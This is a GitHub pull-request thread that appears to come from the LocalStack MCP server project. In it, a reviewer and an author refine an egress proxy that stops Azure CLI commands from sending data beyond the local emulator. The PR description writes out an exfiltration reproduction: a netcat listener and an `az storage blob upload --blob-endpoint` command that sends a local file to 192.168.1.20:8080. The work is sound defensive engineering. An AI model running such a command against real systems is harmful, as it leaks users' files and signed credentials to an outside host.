Repository navigation
Conversation
|
@HarshCasper this is follow-up 1 from our plan, the egress guard. Every az run now goes through a local proxy that only reaches the emulator, so an endpoint in a command (--blob-endpoint, a connection string) can't send data elsewhere. Reproduction steps are in the description. Ready for review when you have time. |
HarshCasper
left a comment
There was a problem hiding this comment.
I read the diff and ran it; today's docs commit only touches AZURE.md, so the runs below cover the current head. The unit suite and the build pass on this branch and on this branch merged onto current main (TypeScript 6, xmcp 1.9), and the guard only ends up in the Azure tool's chunk. I also ran real az 2.70 against a local Azure emulator, main next to this branch, with a listener standing in for an outside host.
The guard does what it says. On main, an http --blob-endpoint, an http connection string and 127.0.0.1 on another port all delivered the file and a signed request to the listener. On this branch each of them was refused in under a second and the listener got nothing. https, a decimal IP, an IPv4-mapped IPv6 address and a *.blob.core.windows.net endpoint were refused too. Resource groups, storage accounts, blob upload and download, a Bicep deployment and rest behave as on main, at about 40 ms more per call. With az's DNS lookups for *.localstack.cloud failing, main stops at the setup login and this branch works, so dropping the DNS check holds up. Driving the guard directly with odd hosts and ports, pipelined and smuggled requests, I could not get it to connect to anything but loopback. Thanks for the reproduction steps in the description, they made this quick to check.
Before I approve
-
The refusal note blames the command for traffic the command didn't ask for. The
bicepbinary callsaka.mson every build, and on a fresh profileaz versionfetchesraw.githubusercontent.com. Both get refused and recorded, so every failed Bicep deployment, including one that failed inside the emulator, ends by telling the agent to fix an endpoint in the command. Inline onoutput.ts. -
The plain-HTTP relay can take the server down, and normal use doesn't go through it. A response with a status below 100 from anything on an allowed port throws in
writeHeadoutside the try, and the server process exits. I reproduced it, details inline. Across 19 normal commands the guard saw 17 CONNECT tunnels and no plain-HTTP requests, since the emulator only hands out https endpoints. The follow-up we agreed on #86 was CONNECT-only, so I'd answer every plain-HTTP request with a 403 that names the host and keepHTTP_PROXYpointed at the guard. If you want to keep the relay, the callback needs a try/catch. -
The allowed ports should come from where the start action gets them. The start action reads
EXTERNAL_SERVICE_PORTS_*from the call'senvVarsfirst and rejects an invalid range. Here only the server's environment is read, and an invalid value silently becomes 4510-4560. Inline onconfig.ts. -
Text that is now wrong, and docs that are missing a few things:
- the tool description still says "
restreaches the emulator and other local hosts only"; - the
restrefusal inpolicy.ts:211still suggests "one on a local host".rest --url http://localhost:2375/versionpasses the policy and is then refused by the guard; - the comment at
services.ts:76saysaz versionmakes no network call, which isn't true on a fresh profile; - AZURE.md should say what now stops working: Bicep registry modules,
--template-uri, and parameter files given as URLs.
The AZURE.md items are inline.
- the tool description still says "
-
Tests. The services test still passes when the guard is given no emulator ports at all. The new smoke step's
❌check passes on main too, because the made-up account name doesn't resolve. Both are inline. Please also dispatchazure-smoke.ymlon this branch once and link the run. It has only run on main's schedule (green the last three weeks), and it is the only test where realazgoes through the guard.
Smaller items, inline
- Put the host in the CONNECT 403 reason, so az's own error names it.
- When a host was refused, the timeout answer should lead with that, not with "raise the timeout".
- The port parsing in
parseAuthority. - The
toHaveLength(53)check. - The DNS sentence in
emulator.tsand AZURE.md.
One note on the description: on main the listener does get the file, but az then fails after about 85 seconds instead of reporting success.
Later, not this PR
An https refusal still takes about 83 seconds. That is the storage SDK retrying the refused tunnel, not the guard. I left an idea on services.ts for stopping az early, which brought it under a second in my runs.
|
Thanks @HarshCasper, all done.
The smaller items are done as well. The description now says what Smoke run on this branch: https://github.com/localstack/localstack-mcp-server/actions/runs/41441677644 |
HarshCasper
left a comment
There was a problem hiding this comment.
Round 2. I went through the new commit and ran it again. The unit suite and the build pass on the branch and with it merged onto current main. I also repeated the live runs with real az 2.70 against the emulator:
- Every exfil case from round 1 is still refused, and the listeners got nothing.
az's own error now names the refused host, thanks to the reason phrase.- Normal commands are unchanged: 21 tunnels and no plain HTTP across the flows I ran.
The relay is gone, and the writeHead crash with it. The Bicep hint, the timeout ordering, GATEWAY_LISTEN and the config errors all behave as described. Thanks for running the smoke on the branch.
Before I approve
-
The named/other split in the refusal note goes by text match, so common cases land in the wrong bucket.
- A connection string in the usual form (
AccountName=...;EndpointSuffix=...) is refused as<account>.blob.<suffix>, which isn't in the command text. So it gets the neutral "az or Bicep" line and no advice. - The same happens to a decimal IP or
127.1. - It also misfires the other way: a refused
localhost:2375counts as named when the command only mentionslocalhost:4566.
There's a simpler approach inline that also covers the next item.
- A connection string in the usual form (
-
A timeout now opens with whatever note there is, including the neutral one. So every Bicep deployment that times out for an ordinary reason starts with "tried to reach
aka.ms". -
services.test.ts:171fails whenGATEWAY_LISTENorEXTERNAL_SERVICE_PORTS_STARTis set in the shell; I checked withGATEWAY_LISTEN=:4566. CI sets neither, which is why it's green there. -
restwith an absolute URL. Refusinghttp://localhost:4566/...is right. But the suggested fix, "an https URL on the emulator", doesn't work forhttps://localhost:4566/...orhttps://127.0.0.1:4566/...: they pass the policy and the guard, then failaz's certificate check. Onlyhttps://<name>.localhost.localstack.cloud:<port>works. Inline.
Simpler
With CONNECT-only and close() at the end of every run, a fair part of the guard handles cases that can't happen or that Node already handles. I tried the changes below in a copy. tsc, the Azure and LocalStack suites and the build pass. az's Python and a real az storage blob upload get the same answers from it as from this branch, including under a few hundred abrupt connections. Details are inline on egress-guard.ts:
- Parse the CONNECT target with
URLinstead ofcanonicalHostandparseAuthority. - Drop the linger timers;
close()already reaps every socket when the run ends. - Drop the
REASONStable, the sanitiser, theclosedflag and theclientErrorhandler. - Answer plain HTTP with a fixed 403.
- Use one refusal note instead of the named/other split. That also removes
hostOfand passingargvinto the formatter.
Please keep the parts that stop a socket error from reaching the event loop: the client and upstream error listeners, the 502, ending the client when the upstream closes, and the try/catch around the CONNECT handler. Two of them have no test today. Add one test that resets the client mid-tunnel and one where the upstream closes first.
The doc comments can be about half as long, and the AZURE.md section can be tighter (inline).
Smaller items
egress-guard.test.ts:88still accepts 200 or 502 for[::1]. Assert the dialled address instead.- The 099 upstream in the plain-HTTP test can be any listener that counts connections.
- The regex in
config.test.tsmatches almost any message (inline). - Add a child-env test that
NO_PROXY,no_proxy,http_proxyandhttps_proxynever reachaz. Withno_proxy=*in its env, the guard sees nothing, so this protects the guard from a later change to the allow-list. - Set
PLAYWRIGHT_LIST_PRINT_STEPS=1inazure-smoke.ymlso the steps show in the log. Today the run only says 13/13 passed.
After these I'm happy to approve.
|
Thanks @HarshCasper, all done.
I took the simpler guard as you laid it out:
The error listeners, the 502, ending the client and the try/catch stay. There are new tests for a client reset mid-tunnel and an upstream that resets first, and each one fails without its listener or handler. I also dropped the port list, as you offered. That takes out the The smaller items are done too. AZURE.md is shorter. |
HarshCasper
left a comment
There was a problem hiding this comment.
Round 3. I read the new commit and ran it again:
- The suite passes with the branch merged onto current main.
- The Azure tests stay stable over repeated runs.
- The services test now passes with
GATEWAY_LISTENset.
Live, with az 2.70 against the emulator:
- Every exfil form from the earlier rounds is refused, and the listeners got nothing. The https and connection-string cases now get the note with the host
azactually tried. - Normal commands work, and a failed Bicep deployment no longer carries a note.
- In successful runs the only refusals were
raw.githubusercontent.com(once per fresh profile) andaka.ms(every Bicep build), so the background list is right for 2.70.
The guard reads much better now. Thanks for taking the port list out too.
Before I approve
- Leaving
raw.githubusercontent.comout of the note was my suggestion, and it has a side effect.--template-uri https://raw.githubusercontent.com/..., and parameter files from that host, now fail with only az's "Unable to retrieve url", which reads like a network problem. That host is where most quickstart templates live. A hint infailureHintfor that message fixes it without bringing the command-text matching back. Inline. - Three test assertions, inline: the
[::1]tunnel's answer, the 443 default, and the upstream in the reset test. - Please dispatch
azure-smoke.ymlonce more on this commit. The last run was on 6eec6ee, and the step's expected text has changed since.
Smaller items, inline
- The
restmessage prints<LOCALSTACK_PORT>literally. - AZURE.md shows
@httpsfor parameter files. - AZURE.md could use one sentence about other LocalStacks on this machine.
- The note's wording is off when it names several hosts.
One more without a line to attach to: the last test in services.test.ts still sets LOCALSTACK_PORT and starts a gateway it no longer needs. Its check fits in the first test.
On the next push I'll approve.
… the configured port, test gaps
|
Thanks @HarshCasper, all done:
The inline items are fixed. The last services test is gone, and its check is now in the first one. |
What
Every
azrun now goes through an egress guard: a proxy on127.0.0.1that the Azure tool starts for that run and pointsHTTPS_PROXYandHTTP_PROXYat.localhost.localstack.cloudand every name under it,localhost,127.0.0.1,::1), and it maps those names to loopback itself.http://request, since the emulator only hands out https endpoints. The 403 names the host, and so does the tool's answer when the command fails.azure.localhost.localstack.cloud.azreaches it through the guard, so it no longer needs DNS for it.docs/AZURE.mdcovers whatazcan reach, what stops working (Bicep registry modules, URLsazdownloads itself), and what the guard does not cover.Why
A command can name any endpoint, and
azsends it the file the command reads:nc -l 192.168.1.20 8080.storage blob upload --blob-endpoint http://192.168.1.20:8080 --account-name acct --account-key <any base64> -f <a local file> -c c -n n.txt.main, the listener receives the file and a signed request. Whatazreports next depends on the listener's answer: one that answers like Blob Storage gets a success,ncgets a failure after about 85 seconds of retries. With the guard, the command fails at once with "blocked by the egress guard", the answer names192.168.1.20, and the listener receives nothing.A connection string with a
BlobEndpointbehaves the same way. Anhttpsendpoint is refused too, but the storage SDK retries the refused tunnel for about a minute and a half before it gives up.Not covered
The guard covers what honours
HTTPS_PROXYandHTTP_PROXY:azitself, the Azure SDKs and MSAL, and Bicep. It does not cover programs that open connections of their own, such as:az acr loginandaz containerapp up --source;flexible-server connect;azure-iotdevice commands (MQTT).It limits
az's own connections and is not a sandbox: workloads in the emulator have their own network access.Tests
egress-guard.test.ts, with real sockets:host:portwith 400;close()ends open tunnels.services.test.ts:LOCALSTACK_PORTopens through it.child-env.test.ts: no proxy variable of the server's (NO_PROXY,no_proxy,HTTP(S)_PROXY) reachesaz.output.test.ts:azand Bicep call on their own are left out of it;azure-smoke.ymlhas a new step: a plain-http listener on127.0.0.1is refused and sees no connection. That step fails onmain.